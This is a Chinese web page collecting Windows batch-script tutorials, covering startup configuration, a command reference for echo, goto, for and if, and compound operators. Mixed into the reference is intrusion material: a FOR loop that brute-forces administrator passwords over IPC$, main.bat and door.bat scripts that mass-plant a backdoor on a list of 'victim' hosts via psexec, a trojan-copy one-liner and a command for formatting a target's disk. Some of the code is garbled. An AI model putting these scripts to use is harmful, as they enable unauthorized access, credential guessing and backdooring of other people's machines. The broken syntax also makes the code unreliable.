當前位置:首頁 » 編程軟體 » windows腳本系列

windows腳本系列

發布時間: 2024-07-04 00:37:29

『壹』 windows設置開機自啟動腳本

Windows系統想要快速設置開機自動啟動某個程序,可以使用以下幾種方法設置:

第一種:設置啟動項

1.找到啟動文件夾,我的是C:\Users\ThinkPad\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,或者打開運行,輸入shell:startup,回車,也可以快速打開啟動文件夾。

2.拷貝需要開機啟動的程序的快捷方式到此文件夾即可。

3.打開任務管理器-啟動查看啟動項。

這樣就設置好了,下次計算機啟動時,程序也會自動啟動的。

第二種:使用計劃任務自啟動

1.新建文本文件DebugStart.txt,打開寫入以下內容:

tasklist|find /i "authSender.exe" && echo started || start "" "D:\Debug\authSender.exe"。

這條語句不能換行, authSender.exe 是程序名, "D:\Debug\authSender.exe"是此程序所在路徑,tasklist|find /i "authSender.exe"是判斷進程是否存在,程序是否已經開啟,如未開啟才會啟動程序,然後改後綴名 .txt 為 .bat,雙擊即可啟動程序。(可以在每條語句前使用 :: 來注釋一條語句),這種方法還可以批量啟動不同程序,只需要在此文件中重啟一行,按相同格式寫第二個要啟動的程序對應的語句即可。

2.進入任務計劃程序窗口,創建任務。

接著選擇觸發器選項卡,選擇新建,在第一欄開始任務處選擇登錄時(啟動時開始任務需要管理員許可權)或啟動時(啟動時開始任務需要管理員許可權),點擊確定。由於我們的 bat腳本有做判斷,所以不用擔心程序會啟動多次。

在操作選項卡選擇新建,並選擇啟動程序選項,以及在程序和腳本處選擇剛才編寫的.bat程序,點擊確定,然後再點擊確定(創建任務界面的確定)。

關閉頁面,即可做到開機自動啟動程序。

第三種:通過組策略設置腳本隨伺服器啟動

1.開始->運行->gpedit.msc->計算機配置->Windows設置->腳本(啟動/關機)。其中Win10有很多版本,其中家庭版默認是不提供組策略功能,如果需要給win10的家庭版添加組策略的功能,可以參考https://blog.csdn.net/lwpkjio/article/details/85236808。

2.添加啟動腳本,點擊確定。

這樣就可以了。

第四種:添加服務自動運行

1.開始---運行---cmd---回車,在彈出的窗體中輸入如下命令:

sc create Debug binPath= D:\Debug\authSender.exe start= auto,其中Debug為將要創建的服務名。要刪除創建的服務也很簡單,使用以下命令即可:sc delete ServiceName

2.打開控制面板---管理工具---服務(或者 開始---運行---services.msc---確認)打開服務管理器,看看你創建的服務已經在裡面了,至此,服務運行已創建完成。

『貳』 windows bat腳本問題

Windows .bat 腳本簡單用法介紹:

一.簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。

語法:

echo [{on│off}] [message]
Sample:@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命

令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令

表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使

用的命令啦。

Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這

個參數給我們,效果和/y是一樣的。)

3.Goto 命令

指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令

就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你

自己日後修改。

Rem Message
Sample:@Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .

Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin

在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入

驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽

。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數:
[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令

調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE不等應用程序終止就返回命令提示。如果在命令腳本

內執行,該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提

示可輸入的字元,之間無空格。它的返回碼為1234......

如: choice /c:dme defrag,mem,end

將顯示
defrag,mem,end[D,M,E]?

Sample:
Sample.bat的內容如下:

@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行

標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後

都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。

有三種格式:

1)、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)

如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2)、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys

3)、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令

for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到支持:
FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用

當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀

取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字

符串變數值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白

行。您可通過指定可選 "options" 參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同

解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m 符號字元串中的最後一個字元星號,那麼額外的變數將在最後一

個符號解析之分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 file-set中使用雙引號擴起

文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for

程序體;用逗號和/或 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用

%j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用

雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens=

一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變數。請記住,FOR 變數是單一字

母、分大小寫和全局的;同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。

這樣,該字元串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元

串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此

,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變

量未被定義,或者沒有找到文件,此組合鍵會擴充空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似

%I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use file://ip/ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下

密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給

find命令--
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完

成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會

變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵

,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數

%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼

(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容

是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。

代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

------

------------------- cut here then save as a batchfile(I call it door.bat) ------------------

-----------
@net use file://%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3

>>ko.txt
@psexec file://%1/ c:\winnt\system32\windrv32.exe
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------

------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一

目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功

能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見

,我們就不考慮它了。

sample1:fomat.bat

@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添

足了~

sample2:

當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令

寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令

了。
@echo off
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了.No.3

三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則

一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb

E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法

可以替換IF exist了.

3.││

Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的

命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:

sample:
@ trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3

>>victim.txt

『叄』 windows怎麼運行shell腳本

在工作中情況會在碰到linux下進行執行shell的腳本,而就會使用shell的腳本,但經常使用的Windows的系統,而想在Windows電腦中進行直接shell的腳本,而不用再進行學習其它的腳本語言。

工具/原料

Windows

git

方法/步驟

1、首先電腦中需要安裝的是git的應用程序,安裝完成之後,可以在開始菜單進行查看。

『肆』 Windows XP啟動腳本在哪兒找

Windows 腳本是帶有如下文件擴展名的文件:.wsf、.vbs、.js。
(如果自己的電腦裡面存在啟動腳本的話,可以設置電腦顯示擴展名。然後輸入.wsf、.vbs、.js來查找並確認了。)

如果雙擊其擴展名尚未與 Wscript.exe 關聯的腳本文件,將出現「打開方式」對話框。選擇「Wscript.exe」,然後選擇「始終使用該程序」來打開該文件類型。這將把 Wscript.exe 注冊為該文件類型文件的默認腳本宿主。
可以使用「Windows 腳本宿主設置」對話框來為 Wscript.exe 在本地計算機上運行的所有腳本設置全局腳本屬性。

還可以使用 Windows 腳本宿主來創建 .wsf 腳本文件,利用該文件就可以僅用一個文件來調用多個腳本引擎以及執行多個作業。

要指派計算機啟動腳本,步驟如下:
1.打開組策略管理單元。
2.在控制台樹中,單擊「腳本(啟動/關閉)」。
3.在詳細信息窗格中,雙擊「啟動」。
4.在「啟動屬性」對話框中,單擊「添加」。
5.在「添加腳本」對話框中,鍵入以下信息,然後單擊「確定」:
腳本名稱: 鍵入腳本的路徑,或者單擊「瀏覽」在域控制器的 Netlogon 共享位置查找腳本文件。

腳本參數:與在命令行中的鍵入方法一樣,鍵入任意所需的參數。例如,如果腳本包含稱為 //logo(顯示標記)和 //I(交互模式)的參數,應該鍵入如下參數: //logo //I

6.在「啟動屬性」對話框中,指定所需的選項(選項如下),然後單擊「確定」:
組策略對象 的啟動腳本:列出當前分配給所選「組策略」對象的所有腳本。如果分配了多個腳本,則按照您指定的順序處理腳本。要在列表中向上移動腳本,請單擊該腳本,然後單擊「向上」。要在列表中向下移動腳本,請單擊該腳本,然後單擊「向下」。

添加:打開「添加腳本」對話框,可在此指定要使用的其它腳本。

編輯:打開「編輯腳本」對話框,可在此修改名稱和參數等腳本信息。

刪除: 從「啟動腳本」列表中刪除選定的腳本。

顯示文件: 顯示在選定的組策略對象中存儲的腳本文件。

『伍』 Windows cmd(bat) 腳本簡介

命令提示符是在 操作系統 中,提示進行命令輸入的一種工作提示符。在不同的操作系統環境下,命令提示符各不相同。在 windows 環境下,命令行程序為 cmd.exe,微軟 Windows 系統基於 Windows 上的命令解釋程序,類似於微軟的 DOS 操作系統 。

四種文件類別

命令不區分大小寫
在 Windows 系統中,所有的文件夾或者文件名、環境變數、命令都是 不區分大小寫 。據說但是是為了兼容 DOS,才沒有區分大小寫,後續就一直不區分了。

查看 windows 版本
winver

打開注冊表
regedit

打開計算器
calc

打開繪圖
mspaint

打開記事本
notepad

打開寫字板
wordpad

打開控制面板
control

打開遠程桌面 (Microsoft terminal services client)
mstsc

打開或關閉 Windows 功能
optionalfeatures

服務管理
services.msc

系統配置
msconfig.exe

防火牆
firewall.cpl

卸載或更改程序
appwiz.cpl

打開計算機管理
compmgmt.msc

打開電源選項
powercfg.cpl

打開 internet 選項
inetcpl.cpl

系統屬性
sysdm.cpl

顯示設置
desk.cpl

證書管理
certmgr.msc

添加硬體
hdwwiz.exe

關機
shutdown

dir

cd

tree
顯示目錄結構
tree d: #顯示D盤的文件目錄結構

日期和時間

文件/文件夾的重命名

復制文件

刪除文件是不經過回收站

刪除空文件夾

rmdir(rd):刪除非空文件夾且需要進行確認

刪除非空文件夾且不需要進行確認

重命名文件或者文件夾。(盡管引號不是強制性的,但如果當前名稱或新名稱中都有空格)

清屏
cls

顯示文件內容
type

網址/域名 :檢查當前網址是否連通 (註:會返回當前網址對應的IP地址和網路狀態)
ping

方法一:使用 ↑↓ 箭頭上下翻看執行過的命令,此方式適宜執行命令較少的情況;

方法二:使用快捷鍵:
F7: 快捷鍵查看所有執行過的命令
F3:調出上一條執行過的命令,調出後直接回車即可執行;
F8:搜索命令歷史記錄,和↑向上箭頭類似。
F9:按編號選擇命令,來調出執行過的命令:

方法三:doskey /HISTORY 顯示保存在內存中的所有命令

可搭配 more、findstr 命令進行使用:

doskey /HISTORY | more
doskey /HISTORY | findstr dir
doskey /HISTORY > d:123.txt 重定向到文件

後綴一般存儲為 bat, cmd 格式的文件。

創建文件:建議右鍵-新建文本文檔。建議選擇 gbk 中文編碼,換行選擇 。示例中我將文件存儲為 hello.bat。

使用方法:雙擊使用或在命令提示符中鍵入文件名。

設置 cmd 窗口的標題

輸出到屏幕

將參數1,參數2 輸入到命令行
hello.bat aaa bbb

說明:
%0 批處理文件本身
%1 第一個參數
...
%9 第九個參數

pause 就是暫停命令
pause > null 的作用是同樣的,區別是不顯示「請按任意鍵繼續. . .」這些字,nul 相當於空設備。

定義變數,注意等號左右不能加空格。

在批處理中 > 和 < 為重定向符號,這就意味著我們不能用 > 來表示大於,< 表示小於,也就意味著不能用 >=、<=、<> 來表示大於等於、小於等於、不等於,還好,在批處理中用了其他的操作符代替它們,這在"if /?"中有說明:

引用內容 引用內容

1. &
順序執行多條命令,而不管命令是否執行成功

2. &&
順序執行多條命令,當碰到執行出錯的命令後將不執行後面的命令

如果找到了"ok"字樣,就顯示"成功",找不到就不顯示

3. ||
順序執行多條命令,當碰到執行正確的命令後將不執行後面的命令

如果找不到"ok"字樣,就顯示"不成功",找到了就不顯示

5. 輸出重定向命令

> 清除文件中原有的內容後再寫入
>> 追加內容到文件末尾,而不會清除原有的內容

6. 管道操作符 |
clip 將內容復制到剪切板

dir 組合 clip 的用法示例

start 可以打開文件夾,文件,網址等

if 關鍵字和語句
1、if [NOT]"參數" == "字元串"
2、if [NOT] exist 文件名 待執行的命令
3、if [NOT] errorlevel 數字 待執行的命令
如果返回碼大於或者等於(或者小於,使用NOT)指定的數字,則條件成立,運行命令,否則運行下一句。DOS 程序運行時都會返回一個數字給 DOS,稱為錯誤碼 errorlevel 或稱返回碼。默認值為 0,一般命令執行出錯會設 errorlevel 為1。數字取值范圍 0~255。判斷時值的排列順序應該由大到小,否則會出現非期望的結果。

示例1:if 搭配 exist 進行使用,用於判斷某文件是否存在

原來的環境變數後加上英文狀態下的分號和路徑

set PATH=%PATH%;C:UserszhangsanDocumentswinrar-x64-580

setx PATH "%PATH%;D:Program Files"

該語句表示添加到用戶環境變數, 設置後對當前窗口不生效, 後續窗口都生效了.
(建議執行一次, 防止多試重復添加, 該威力巨大.
目前不知道怎麼刪除單項環境變數, 只能採取重新賦值的方式)

鍵入 "SETX /?" 了解用法信息。

切記:每個指令之間必須以空格隔開,in 與 ( 之間有空格,do 與 ( 間也有空格,否則命令會無法成功執行

[ ]:表示此項指令為可選
[參數]:參數取值一共有四種: /d, /r, /l, /f,加上無參數,所以一共五種場景
無參:遍歷當前路徑的文件夾下的文件,但也可在(匹配符)中指定路徑

批處理腳本遍歷指定文件夾下的文件_RuncX的技術博客_51CTO博客
https://blog.51cto.com/runcx/2465152

C:Usersferder>echo %date%
2022/07/02 周六

C:Usersferder>echo %time%
20:19:37.09

因此
提取年 %date:~0,4% 表示從左向右指針向右偏0位,然後從指針偏移到的位置開始提取4位字元,結果是2014
提取月 %date:~5,2%
提取日 %date:~8,2%

同理提取時間的時分秒為 %time:~0,2%%time:~3,2%%time:~6,2%

實戰操作:
md %date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2%

則是再當前目錄下創建一個空的文件夾。

DOS 批處理中的字元串處理詳解(字元串截取)
https://blog.csdn.net/xiaoding133/article/details/39253083

熱點內容
線下機房伺服器如何遠程操控 發布:2024-07-06 13:22:46 瀏覽:737
命令行vs編譯命令 發布:2024-07-06 13:13:13 瀏覽:52
硬碟數據存儲 發布:2024-07-06 13:05:59 瀏覽:489
php覆蓋文件 發布:2024-07-06 12:58:04 瀏覽:813
如何設置編譯報錯 發布:2024-07-06 12:53:50 瀏覽:157
bgp和多線伺服器租用有什麼區別 發布:2024-07-06 12:53:42 瀏覽:627
顯卡配置很低會怎麼 發布:2024-07-06 12:53:07 瀏覽:9
php正則表達式字元串替換字元 發布:2024-07-06 12:47:00 瀏覽:917
我的世界162工業伺服器 發布:2024-07-06 12:27:56 瀏覽:597
java課程設計管理系統 發布:2024-07-06 11:55:06 瀏覽:886